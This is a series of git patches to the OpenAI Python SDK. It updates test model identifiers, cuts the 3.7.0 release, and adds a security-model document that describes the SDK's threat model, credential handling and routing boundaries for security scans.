[reasoning models](https://platform.openai.com/docs/guides/reasoning).
"""
diff --git a/src/openai/types/shared/reasoning.py b/src/openai/types/shared/reasoning.py
index ac9a972ef4..a4c08902be 100644
--- a/src/openai/types/shared/reasoning.py
+++ b/src/openai/types/shared/reasoning.py
@@ -10,8 +10,7 @@
class Reasoning(BaseModel):
- """**gpt-5 and o-series models only**
-
+ """
Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
"""
diff --git a/src/openai/types/shared_params/reasoning.py b/src/openai/types/shared_params/reasoning.py
index 7a6e82f4b6..a69b5be752 100644
--- a/src/openai/types/shared_params/reasoning.py
+++ b/src/openai/types/shared_params/reasoning.py
@@ -11,8 +11,7 @@
class Reasoning(TypedDict, total=False):
- """**gpt-5 and o-series models only**
-
+ """
Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
"""
diff --git a/tests/api_resources/admin/organization/test_usage.py b/tests/api_resources/admin/organization/test_usage.py
index 92028ae17b..eec8d9dcfd 100644
--- a/tests/api_resources/admin/organization/test_usage.py
+++ b/tests/api_resources/admin/organization/test_usage.py
@@ -231,6 +231,7 @@ def test_method_costs_with_all_params(self, client: OpenAI) -> None:
end_time=0,
group_by=["project_id"],
limit=0,
+ line_items=["string"],
page="page",
project_ids=["string"],
)
@@ -750,6 +751,7 @@ async def test_method_costs_with_all_params(self, async_client: AsyncOpenAI) ->
end_time=0,
group_by=["project_id"],
limit=0,
+ line_items=["string"],
page="page",
project_ids=["string"],
)
diff --git a/tests/api_resources/beta/test_assistants.py b/tests/api_resources/beta/test_assistants.py
index e280ab8f70..8fc7ed038b 100644
--- a/tests/api_resources/beta/test_assistants.py
+++ b/tests/api_resources/beta/test_assistants.py
@@ -27,7 +27,7 @@ class TestAssistants:
def test_method_create(self, client: OpenAI) -> None:
with pytest.warns(DeprecationWarning):
assistant = client.beta.assistants.create(
- model="gpt-4o",
+ model="gpt-5",
)
assert_matches_type(Assistant, assistant, path=["response"])
@@ -36,7 +36,7 @@ def test_method_create(self, client: OpenAI) -> None:
def test_method_create_with_all_params(self, client: OpenAI) -> None:
with pytest.warns(DeprecationWarning):
assistant = client.beta.assistants.create(
- model="gpt-4o",
+ model="gpt-5",
description="description",
instructions="instructions",
metadata={"foo": "string"},
@@ -67,7 +67,7 @@ def test_method_create_with_all_params(self, client: OpenAI) -> None:
def test_raw_response_create(self, client: OpenAI) -> None:
with pytest.warns(DeprecationWarning):
response = client.beta.assistants.with_raw_response.create(
- model="gpt-4o",
+ model="gpt-5",
)
assert response.is_closed is True
@@ -79,7 +79,7 @@ def test_raw_response_create(self, client: OpenAI) -> None:
def test_streaming_response_create(self, client: OpenAI) -> None:
with pytest.warns(DeprecationWarning):
with client.beta.assistants.with_streaming_response.create(
- model="gpt-4o",
+ model="gpt-5",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -292,7 +292,7 @@ class TestAsyncAssistants:
async def test_method_create(self, async_client: AsyncOpenAI) -> None:
with pytest.warns(DeprecationWarning):
assistant = await async_client.beta.assistants.create(
- model="gpt-4o",
+ model="gpt-5",
)
assert_matches_type(Assistant, assistant, path=["response"])
@@ -301,7 +301,7 @@ async def test_method_create(self, async_client: AsyncOpenAI) -> None:
async def test_method_create_with_all_params(self, async_client: AsyncOpenAI) -> None:
with pytest.warns(DeprecationWarning):
assistant = await async_client.beta.assistants.create(
- model="gpt-4o",
+ model="gpt-5",
description="description",
instructions="instructions",
metadata={"foo": "string"},
@@ -332,7 +332,7 @@ async def test_method_create_with_all_params(self, async_client: AsyncOpenAI) ->
async def test_raw_response_create(self, async_client: AsyncOpenAI) -> None:
with pytest.warns(DeprecationWarning):
response = await async_client.beta.assistants.with_raw_response.create(
- model="gpt-4o",
+ model="gpt-5",
)
assert response.is_closed is True
@@ -344,7 +344,7 @@ async def test_raw_response_create(self, async_client: AsyncOpenAI) -> None:
async def test_streaming_response_create(self, async_client: AsyncOpenAI) -> None:
with pytest.warns(DeprecationWarning):
async with async_client.beta.assistants.with_streaming_response.create(
- model="gpt-4o",
+ model="gpt-5",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
diff --git a/tests/api_resources/beta/test_responses.py b/tests/api_resources/beta/test_responses.py
index 1426ae508b..938b76d3a9 100644
--- a/tests/api_resources/beta/test_responses.py
+++ b/tests/api_resources/beta/test_responses.py
@@ -42,7 +42,7 @@ def test_method_create_with_all_params_overload_1(self, client: OpenAI) -> None:
max_output_tokens=16,
max_tool_calls=0,
metadata={"foo": "string"},
- model="gpt-5.1",
+ model="gpt-5.6-sol",
moderation={
"model": "model",
"policy": {
@@ -150,7 +150,7 @@ def test_method_create_with_all_params_overload_2(self, client: OpenAI) -> None:
max_output_tokens=16,
max_tool_calls=0,
metadata={"foo": "string"},
- model="gpt-5.1",
+ model="gpt-5.6-sol",
moderation={
"model": "model",
"policy": {
@@ -507,7 +507,7 @@ async def test_method_create_with_all_params_overload_1(self, async_client: Asyn
max_output_tokens=16,
max_tool_calls=0,
metadata={"foo": "string"},
- model="gpt-5.1",
+ model="gpt-5.6-sol",
moderation={
"model": "model",
"policy": {
@@ -615,7 +615,7 @@ async def test_method_create_with_all_params_overload_2(self, async_client: Asyn
max_output_tokens=16,
max_tool_calls=0,
metadata={"foo": "string"},
- model="gpt-5.1",
+ model="gpt-5.6-sol",
moderation={
"model": "model",
"policy": {
diff --git a/tests/api_resources/chat/test_completions.py b/tests/api_resources/chat/test_completions.py
index b6193eb1f6..41687baf2b 100644
--- a/tests/api_resources/chat/test_completions.py
+++ b/tests/api_resources/chat/test_completions.py
@@ -30,7 +30,7 @@ def test_method_create_overload_1(self, client: OpenAI) -> None:
"role": "developer",
}
],
- model="gpt-5.4",
+ model="gpt-5.6-sol",
)
assert_matches_type(ChatCompletion, completion, path=["response"])
@@ -44,7 +44,7 @@ def test_method_create_with_all_params_overload_1(self, client: OpenAI) -> None:
"name": "name",
}
],
- model="gpt-5.4",
+ model="gpt-5.6-sol",
audio={
"format": "wav",
"voice": "alloy",
@@ -137,7 +137,7 @@ def test_raw_response_create_overload_1(self, client: OpenAI) -> None:
"role": "developer",
}
],
- model="gpt-5.4",
+ model="gpt-5.6-sol",
)
assert response.is_closed is True
@@ -154,7 +154,7 @@ def test_streaming_response_create_overload_1(self, client: OpenAI) -> None:
"role": "developer",
}
],
- model="gpt-5.4",
+ model="gpt-5.6-sol",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -173,7 +173,7 @@ def test_method_create_overload_2(self, client: OpenAI) -> None:
"role": "developer",
}
],
- model="gpt-5.4",
+ model="gpt-5.6-sol",
stream=True,
)
completion_stream.response.close()
@@ -188,7 +188,7 @@ def test_method_create_with_all_params_overload_2(self, client: OpenAI) -> None:
"name": "name",
}
],
- model="gpt-5.4",
+ model="gpt-5.6-sol",
stream=True,
audio={
"format": "wav",
@@ -281,7 +281,7 @@ def test_raw_response_create_overload_2(self, client: OpenAI) -> None:
"role": "developer",
}
],
- model="gpt-5.4",
+ model="gpt-5.6-sol",
stream=True,
)
@@ -298,7 +298,7 @@ def test_streaming_response_create_overload_2(self, client: OpenAI) -> None:
"role": "developer",
}
],
- model="gpt-5.4",
+ model="gpt-5.6-sol",
stream=True,
) as response:
assert not response.is_closed
@@ -478,7 +478,7 @@ async def test_method_create_overload_1(self, async_client: AsyncOpenAI) -> None
"role": "developer",
}
],
- model="gpt-5.4",
+ model="gpt-5.6-sol",
)
assert_matches_type(ChatCompletion, completion, path=["response"])
@@ -492,7 +492,7 @@ async def test_method_create_with_all_params_overload_1(self, async_client: Asyn
"name": "name",
}
],
- model="gpt-5.4",
+ model="gpt-5.6-sol",
audio={
"format": "wav",
"voice": "alloy",
@@ -585,7 +585,7 @@ async def test_raw_response_create_overload_1(self, async_client: AsyncOpenAI) -
"role": "developer",
}
],
- model="gpt-5.4",
+ model="gpt-5.6-sol",
)
assert response.is_closed is True
@@ -602,7 +602,7 @@ async def test_streaming_response_create_overload_1(self, async_client: AsyncOpe
"role": "developer",
}
],
- model="gpt-5.4",
+ model="gpt-5.6-sol",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -621,7 +621,7 @@ async def test_method_create_overload_2(self, async_client: AsyncOpenAI) -> None
"role": "developer",
}
],
- model="gpt-5.4",
+ model="gpt-5.6-sol",
stream=True,
)
await completion_stream.response.aclose()
@@ -636,7 +636,7 @@ async def test_method_create_with_all_params_overload_2(self, async_client: Asyn
"name": "name",
}
],
- model="gpt-5.4",
+ model="gpt-5.6-sol",
stream=True,
audio={
"format": "wav",
@@ -729,7 +729,7 @@ async def test_raw_response_create_overload_2(self, async_client: AsyncOpenAI) -
"role": "developer",
}
],
- model="gpt-5.4",
+ model="gpt-5.6-sol",
stream=True,
)
@@ -746,7 +746,7 @@ async def test_streaming_response_create_overload_2(self, async_client: AsyncOpe
"role": "developer",
}
],
- model="gpt-5.4",
+ model="gpt-5.6-sol",
stream=True,
) as response:
assert not response.is_closed
diff --git a/tests/api_resources/test_models.py b/tests/api_resources/test_models.py
index a61676ecb0..a022e7ff0b 100644
--- a/tests/api_resources/test_models.py
+++ b/tests/api_resources/test_models.py
@@ -21,14 +21,14 @@ class TestModels:
@parametrize
def test_method_retrieve(self, client: OpenAI) -> None:
model = client.models.retrieve(
- "gpt-4o-mini",
+ "gpt-5.6-sol",
)
assert_matches_type(Model, model, path=["response"])
@parametrize
def test_raw_response_retrieve(self, client: OpenAI) -> None:
response = client.models.with_raw_response.retrieve(
- "gpt-4o-mini",
+ "gpt-5.6-sol",
)
assert response.is_closed is True
@@ -39,7 +39,7 @@ def test_raw_response_retrieve(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_retrieve(self, client: OpenAI) -> None:
with client.models.with_streaming_response.retrieve(
- "gpt-4o-mini",
+ "gpt-5.6-sol",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -128,14 +128,14 @@ class TestAsyncModels:
@parametrize
async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
model = await async_client.models.retrieve(
- "gpt-4o-mini",
+ "gpt-5.6-sol",
)
assert_matches_type(Model, model, path=["response"])
@parametrize
async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
response = await async_client.models.with_raw_response.retrieve(
- "gpt-4o-mini",
+ "gpt-5.6-sol",
)
assert response.is_closed is True
@@ -146,7 +146,7 @@ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
async with async_client.models.with_streaming_response.retrieve(
- "gpt-4o-mini",
+ "gpt-5.6-sol",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
diff --git a/tests/api_resources/test_responses.py b/tests/api_resources/test_responses.py
index 22a5c008b4..4205aca6b7 100644
--- a/tests/api_resources/test_responses.py
+++ b/tests/api_resources/test_responses.py
@@ -42,7 +42,7 @@ def test_method_create_with_all_params_overload_1(self, client: OpenAI) -> None:
max_output_tokens=16,
max_tool_calls=0,
metadata={"foo": "string"},
- model="gpt-5.1",
+ model="gpt-5.6-sol",
moderation={
"model": "model",
"policy": {
@@ -145,7 +145,7 @@ def test_method_create_with_all_params_overload_2(self, client: OpenAI) -> None:
max_output_tokens=16,
max_tool_calls=0,
metadata={"foo": "string"},
- model="gpt-5.1",
+ model="gpt-5.6-sol",
moderation={
"model": "model",
"policy": {
@@ -478,7 +478,7 @@ async def test_method_create_with_all_params_overload_1(self, async_client: Asyn
max_output_tokens=16,
max_tool_calls=0,
metadata={"foo": "string"},
- model="gpt-5.1",
+ model="gpt-5.6-sol",
moderation={
"model": "model",
"policy": {
@@ -581,7 +581,7 @@ async def test_method_create_with_all_params_overload_2(self, async_client: Asyn
max_output_tokens=16,
max_tool_calls=0,
metadata={"foo": "string"},
- model="gpt-5.1",
+ model="gpt-5.6-sol",
moderation={
"model": "model",
"policy": {
diff --git a/tests/lib/chat/test_completions.py b/tests/lib/chat/test_completions.py
index 0d783b2ce9..e2447310f8 100644
--- a/tests/lib/chat/test_completions.py
+++ b/tests/lib/chat/test_completions.py
@@ -86,7 +86,6 @@ def test_parse_nothing(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pyt
rejected_prediction_tokens=None,
text_tokens=None
),
- compute_units=None,
prompt_tokens=14,
prompt_tokens_details=None,
total_tokens=51
@@ -159,7 +158,6 @@ class Location(BaseModel):
rejected_prediction_tokens=None,
text_tokens=None
),
- compute_units=None,
prompt_tokens=79,
prompt_tokens_details=None,
total_tokens=93
@@ -234,7 +232,6 @@ class Location(BaseModel):
rejected_prediction_tokens=None,
text_tokens=None
),
- compute_units=None,
prompt_tokens=88,
prompt_tokens_details=None,
total_tokens=102
@@ -444,7 +441,6 @@ class CalendarEvent:
rejected_prediction_tokens=None,
text_tokens=None
),
- compute_units=None,
prompt_tokens=92,
prompt_tokens_details=None,
total_tokens=109
@@ -921,7 +917,6 @@ class Location(BaseModel):
rejected_prediction_tokens=None,
text_tokens=None
),
- compute_units=None,
prompt_tokens=79,
prompt_tokens_details=None,
total_tokens=93
@@ -1002,7 +997,6 @@ class Location(BaseModel):
rejected_prediction_tokens=None,
text_tokens=None
),
- compute_units=None,
prompt_tokens=79,
prompt_tokens_details=None,
total_tokens=93
diff --git a/tests/lib/chat/test_completions_streaming.py b/tests/lib/chat/test_completions_streaming.py
index 40b5a7a47c..25d2942639 100644
--- a/tests/lib/chat/test_completions_streaming.py
+++ b/tests/lib/chat/test_completions_streaming.py
@@ -175,7 +175,6 @@ def on_event(stream: ChatCompletionStream[Location], event: ChatCompletionStream
rejected_prediction_tokens=None,
text_tokens=None
),
- compute_units=None,
prompt_tokens=79,
prompt_tokens_details=None,
total_tokens=93
From ab76ab5c64b8d19761ce838891acc80743cd944a Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Wed, 2 Sep 2026 01:22:29 +0000
Subject: [PATCH 094/341] release: 3.7.0 (#3758)
Automated Release PR
---
##
[3.7.0](https://github.com/openai/openai-python/compare/v3.6.0...v3.7.0)
(2026-09-02)
### Features
* **api:** update usage APIs and documentation
([#3779](https://github.com/openai/openai-python/issues/3779))
([6f0da16](https://github.com/openai/openai-python/commit/6f0da16573086401a7b171f4bd14a78f22c9d0e9))
### Bug Fixes
* avoid repeated numpy checks for embeddings
([#3757](https://github.com/openai/openai-python/issues/3757))
([b19c216](https://github.com/openai/openai-python/commit/b19c2161b1eac80fbf1f6f67a64a50af99c53356))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 12 ++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 16 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index f391d41627..27d2fbbc0c 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.6.0"
+ ".": "3.7.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 76b74cd447..9a52b65cf8 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,17 @@
# Changelog
+## [3.7.0](https://github.com/openai/openai-python/compare/v3.6.0...v3.7.0) (2026-09-02)
+
+
+### Features
+
+* **api:** update usage APIs and documentation ([#3779](https://github.com/openai/openai-python/issues/3779)) ([6f0da16](https://github.com/openai/openai-python/commit/6f0da16573086401a7b171f4bd14a78f22c9d0e9))
+
+
+### Bug Fixes
+
+* avoid repeated numpy checks for embeddings ([#3757](https://github.com/openai/openai-python/issues/3757)) ([b19c216](https://github.com/openai/openai-python/commit/b19c2161b1eac80fbf1f6f67a64a50af99c53356))
+
## [3.6.0](https://github.com/openai/openai-python/compare/v3.5.0...v3.6.0) (2026-08-27)
diff --git a/pyproject.toml b/pyproject.toml
index b56bcc9de7..96991a12f1 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.6.0"
+version = "3.7.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 31bb06f4b6..a9497b6b97 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.6.0" # x-release-please-version
+__version__ = "3.7.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 76345ce8b1..85086bbd0d 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1524,7 +1524,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.6.0" # x-release-please-version
+version = "3.7.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From 2a097b991bb23a26bde9da8ea286f850ac1329f1 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Wed, 2 Sep 2026 22:26:25 +0000
Subject: [PATCH 095/341] docs: add canonical SDK security model (#3778)
## Summary
- add docs/architecture/security-model.md as the canonical Codex
Security threat model
- keep SECURITY.md focused on coordinated disclosure and point it to the
canonical model
- clarify repository-code authority while preserving runtime parser,
webhook, metadata, and CI/release boundaries
## Validation
- verified 98 source citations resolve to existing files and valid lines
- resolved SECURITY.md policy chain for
docs/architecture/security-model.md
- git diff --check
- ./scripts/lint (blocked before linting by the preexisting base-state
uv.lock needing update under --locked)
---
SECURITY.md | 10 +
docs/architecture/security-model.md | 409 ++++++++++++++++++++++++++++
2 files changed, 419 insertions(+)
create mode 100644 docs/architecture/security-model.md
diff --git a/SECURITY.md b/SECURITY.md
index 0406a5a0e4..119fbe4cb3 100644
--- a/SECURITY.md
+++ b/SECURITY.md
@@ -10,6 +10,16 @@ This policy applies to the source code in this repository and the official
[`openai` Python package](https://pypi.org/project/openai/), including its
published source distributions and wheels.
+## Threat model authority
+
+This file governs coordinated disclosure and what reporters should include. The
+canonical repository threat model, trust boundaries, reportability guidance,
+and severity calibration for Codex Security scans are maintained in
+[`docs/architecture/security-model.md`](docs/architecture/security-model.md).
+Follow that document's own trusted-revision resolution rule for security
+analysis; do not duplicate or infer a competing threat model from this
+disclosure policy.
+
Do not report security vulnerabilities through public GitHub issues, pull requests, or discussions.
## What to include
diff --git a/docs/architecture/security-model.md b/docs/architecture/security-model.md
new file mode 100644
index 0000000000..e3fadef5c5
--- /dev/null
+++ b/docs/architecture/security-model.md
@@ -0,0 +1,409 @@
+# Security Model
+
+This is the canonical repository-owned threat model for Codex Security scans of
+the OpenAI Python SDK. For a pull-request scan, resolve this document from the
+trusted base or another pinned protected revision, never from the candidate
+revision being judged; if that trusted revision has no model, use separately
+pinned protected scan policy rather than candidate text. For a protected
+default-branch scan, use that protected scanned revision. [`SECURITY.md`](../../SECURITY.md)
+remains the authority for coordinated disclosure instructions.
+
+## Overview
+
+The repository publishes the official `openai` Python library. It is a
+caller-owned client library, not a hosted multi-tenant service: application
+code constructs synchronous or asynchronous clients, supplies credentials and
+request data, sends HTTPS or WebSocket requests to an API endpoint, and parses
+JSON, SSE, or WebSocket responses into SDK types. The package requires Python
+3.10+ and has optional Realtime, voice, aiohttp, and Bedrock dependencies
+([README.md:6](../../README.md), [pyproject.toml:11](../../pyproject.toml),
+[pyproject.toml:42](../../pyproject.toml)).
+
+Most API resources and types are generated from the OpenAPI schema. The
+security-relevant handwritten surfaces are the shared transport and parsing
+code, authentication providers, webhook verification, provider integrations,
+local helpers, dependency/build policy, and release automation
+([AGENTS.md:3](../../AGENTS.md), [src/openai/_client.py:157](../../src/openai/_client.py),
+[src/openai/_base_client.py:517](../../src/openai/_base_client.py)).
+
+| Component | Role | Evidence |
+| --- | --- | --- |
+| `OpenAI` / `AsyncOpenAI` clients | Resolve credentials, endpoint configuration, headers, retries, and transports. | [src/openai/_client.py:157](../../src/openai/_client.py), [src/openai/_client.py:247](../../src/openai/_client.py) |
+| Legacy module-level client | Selects, constructs, caches, and resets an OpenAI, Azure, or Bedrock client from module globals and environment state. | [src/openai/__init__.py:362](../../src/openai/__init__.py), [src/openai/__init__.py:387](../../src/openai/__init__.py), [src/openai/__init__.py:404](../../src/openai/__init__.py), [src/openai/__init__.py:439](../../src/openai/__init__.py) |
+| Shared base client | Serializes caller data, builds HTTP requests, processes responses, and manages retries. | [src/openai/_base_client.py:517](../../src/openai/_base_client.py), [src/openai/_base_client.py:672](../../src/openai/_base_client.py) |
+| SDK-owned default HTTP transports | Provide HTTPX-backed sync/async defaults and the optional vendored aiohttp backend, including redirect, proxy, and TLS behavior. | [src/openai/_base_client.py:863](../../src/openai/_base_client.py), [src/openai/_base_client.py:1457](../../src/openai/_base_client.py), [src/openai/_base_client.py:1478](../../src/openai/_base_client.py), [src/openai/_vendor/httpx_aiohttp/transport.py:100](../../src/openai/_vendor/httpx_aiohttp/transport.py) |
+| Streaming and authenticated WebSockets | Incrementally decode SSE and exchange authenticated current or beta Realtime/Responses WebSocket messages through distinct sync and async connection paths. | [src/openai/_streaming.py:53](../../src/openai/_streaming.py), [src/openai/resources/realtime/realtime.py:683](../../src/openai/resources/realtime/realtime.py), [src/openai/resources/realtime/realtime.py:1153](../../src/openai/resources/realtime/realtime.py), [src/openai/resources/responses/responses.py:4410](../../src/openai/resources/responses/responses.py), [src/openai/resources/responses/responses.py:4855](../../src/openai/resources/responses/responses.py), [src/openai/resources/beta/realtime/realtime.py:355](../../src/openai/resources/beta/realtime/realtime.py), [src/openai/resources/beta/realtime/realtime.py:540](../../src/openai/resources/beta/realtime/realtime.py), [src/openai/resources/beta/responses/responses.py:4515](../../src/openai/resources/beta/responses/responses.py), [src/openai/resources/beta/responses/responses.py:4960](../../src/openai/resources/beta/responses/responses.py) |
+| Webhooks | Verify raw inbound webhook bytes before parsing a typed event. | [src/openai/resources/webhooks/webhooks.py:18](../../src/openai/resources/webhooks/webhooks.py), [src/openai/lib/_webhooks.py:13](../../src/openai/lib/_webhooks.py) |
+| Workload identity | Obtain local or metadata subject tokens and exchange them for OpenAI bearer tokens. | [src/openai/auth/_workload.py:78](../../src/openai/auth/_workload.py), [src/openai/auth/_x509.py:25](../../src/openai/auth/_x509.py) |
+| CI and publication | Test PR and branch code, run CodeQL, perform the privileged monthly policy assessment, build distributions, and publish through protected release paths. | [.github/workflows/ci.yml:18](../../.github/workflows/ci.yml), [.github/workflows/codeql.yml:15](../../.github/workflows/codeql.yml), [.github/workflows/python-version-review.yml:15](../../.github/workflows/python-version-review.yml), [.github/workflows/publish-pypi.yml:8](../../.github/workflows/publish-pypi.yml) |
+
+```mermaid
+flowchart LR
+ app[Caller-owned Python process] -->|credentials, request data, files| sdk[OpenAI Python SDK]
+ sdk -->|HTTPS / WSS| api[OpenAI, Azure, or Bedrock API]
+ api -->|JSON, SSE, WebSocket frames| sdk
+ webhook[Webhook sender] -->|raw payload and headers| verify[Webhook verifier]
+ host[Local file or cloud metadata identity] -->|subject token| auth[Token exchange]
+ pr[PR checkout code] -->|workflow-specific permissions| ci[CI runner]
+ main[Protected main/release workflow] -->|artifact boundary| publish[PyPI publish job]
+```
+
+| Deployment or workflow | Resource or capability | Configuration and precedence | Safe effective value or location | Readers, writers, or recipients | Enforcing control | Evidence or unknowns |
+| --- | --- | --- | --- | --- | --- | --- |
+| Default OpenAI client | API, admin, or ambient `Authorization` credential | Credential gate: explicit API/admin argument, then `OPENAI_API_KEY` / `OPENAI_ADMIN_KEY`; ambient `OPENAI_CUSTOM_HEADERS` authorization alone does not satisfy that gate. For ordinary non-X.509, non-provider clients, ambient, constructor-default, and per-request authorization mappings can override generated or stored values for the same exact key; case-variant names can coexist until HTTP header normalization, so every variant remains credential-bearing. | Secret remains in process memory. For identical mapping keys, effective request merge order is generated bearer auth, then stored default/ambient authorization, then per-request authorization; differently cased keys are not collapsed by that mapping merge. | Selected API destination. | Missing API/admin/workload credentials fail; per-operation security flags select ordinary versus admin auth; ordinary copies preserve ambient authorization, provider transitions clear inherited custom headers, and X.509 construction/transitions filter ambient authorization case-insensitively unless explicitly replaced. | [src/openai/_client.py:247](../../src/openai/_client.py), [src/openai/_client.py:261](../../src/openai/_client.py), [src/openai/_client.py:310](../../src/openai/_client.py), [src/openai/_client.py:318](../../src/openai/_client.py), [src/openai/_client.py:589](../../src/openai/_client.py), [src/openai/_client.py:635](../../src/openai/_client.py), [src/openai/_base_client.py:475](../../src/openai/_base_client.py), [src/openai/_base_client.py:2262](../../src/openai/_base_client.py), [src/openai/_client.py:715](../../src/openai/_client.py), [src/openai/_client.py:808](../../src/openai/_client.py), [src/openai/auth/_x509.py:281](../../src/openai/auth/_x509.py) |
+| Legacy module-level client | Global/environment-selected OpenAI, Azure, or Bedrock credential and destination | Module `api_type` starts from `OPENAI_API_TYPE`. `_load_client()` fills unset Azure endpoint/version globals from environment; only when `api_type` is unset, it rejects `OPENAI_API_KEY` in the environment together with any of: module `azure_endpoint` or `AZURE_OPENAI_ENDPOINT`, `AZURE_OPENAI_API_KEY`, `AZURE_OPENAI_AD_TOKEN`, module `azure_ad_token`, or module `azure_ad_token_provider`; module `api_key` and `api_version` are not ambiguity signals. It infers Azure when an Azure signal exists and OpenAI otherwise; exact `api_type == "azure"` or `"amazon-bedrock"` use dedicated branches, while explicit `"openai"` and any other non-`None` runtime value fall through to `_ModuleClient`. | Selected `_client` instance is cached until `_reset_client()`; `_ModuleClient` property-backed common globals such as API/admin keys remain live, while Azure endpoint/version/AAD and non-property provider inputs are constructor-captured; inferred `api_type` and environment-filled Azure globals persist unless changed independently. | OpenAI, Azure, or Bedrock constructor and destination selected by module state. | The exact OpenAI-environment-key plus enumerated Azure/AAD-signal ambiguity fails; exact Azure/Bedrock provider branches and OpenAI/fallback branch receive their module arguments; reset clears only the cached `_client` instance. | [src/openai/__init__.py:163](../../src/openai/__init__.py), [src/openai/__init__.py:183](../../src/openai/__init__.py), [src/openai/__init__.py:339](../../src/openai/__init__.py), [src/openai/__init__.py:343](../../src/openai/__init__.py), [src/openai/__init__.py:347](../../src/openai/__init__.py), [src/openai/__init__.py:351](../../src/openai/__init__.py), [src/openai/__init__.py:362](../../src/openai/__init__.py), [src/openai/__init__.py:368](../../src/openai/__init__.py), [src/openai/__init__.py:374](../../src/openai/__init__.py), [src/openai/__init__.py:379](../../src/openai/__init__.py), [src/openai/__init__.py:387](../../src/openai/__init__.py), [src/openai/__init__.py:404](../../src/openai/__init__.py), [src/openai/__init__.py:420](../../src/openai/__init__.py), [src/openai/__init__.py:436](../../src/openai/__init__.py), [src/openai/__init__.py:439](../../src/openai/__init__.py), [src/openai/lib/azure.py:356](../../src/openai/lib/azure.py), [src/openai/lib/bedrock.py:478](../../src/openai/lib/bedrock.py) |
+| Default routing | API origin | Explicit `base_url`, then `OPENAI_BASE_URL`, then default. | `https://api.openai.com/v1` by default. | HTTP transport and remote API. | Caller controls non-X.509 overrides; relative resource paths merge into the configured base URL. | [src/openai/_client.py:299](../../src/openai/_client.py), [src/openai/_base_client.py:501](../../src/openai/_base_client.py) |
+| SDK-owned default HTTP transport | Redirect, proxy, TLS, and request-hook execution for default HTTPX or optional aiohttp clients | SDK constructors choose HTTPX-backed defaults unless the caller supplies `http_client`; selecting SDK-provided `DefaultAioHttpClient` uses the vendored aiohttp transport when no caller-supplied inner transport is provided, keeping that implementation SDK-owned. | Default variants set `follow_redirects=True`; caller-implemented clients, proxies, TLS settings, and transports remain caller-owned. | Redirect target, proxy, TLS peer, and request/response hook path. | Default transport variants and per-request `follow_redirects` options determine whether credentials traverse a destination change; the aiohttp transport performs its own TLS/proxy request and disables aiohttp-native redirects so the HTTPX-compatible layer owns redirect handling. | [src/openai/_base_client.py:863](../../src/openai/_base_client.py), [src/openai/_base_client.py:1069](../../src/openai/_base_client.py), [src/openai/_base_client.py:1457](../../src/openai/_base_client.py), [src/openai/_base_client.py:1478](../../src/openai/_base_client.py), [src/openai/_vendor/httpx_aiohttp/client.py:16](../../src/openai/_vendor/httpx_aiohttp/client.py), [src/openai/_vendor/httpx_aiohttp/client.py:24](../../src/openai/_vendor/httpx_aiohttp/client.py), [src/openai/_vendor/httpx_aiohttp/transport.py:100](../../src/openai/_vendor/httpx_aiohttp/transport.py), [src/openai/_vendor/httpx_aiohttp/transport.py:170](../../src/openai/_vendor/httpx_aiohttp/transport.py), [src/openai/_vendor/httpx_aiohttp/transport.py:179](../../src/openai/_vendor/httpx_aiohttp/transport.py) |
+| Data residency | Regional API origin | `data_residency` selects a fixed mapping and cannot combine with explicit endpoint/provider modes. | Regional HTTPS endpoint selected by SDK mapping. | Remote API. | Conflicting routing modes raise before request construction. | [src/openai/_data_residency.py:12](../../src/openai/_data_residency.py) |
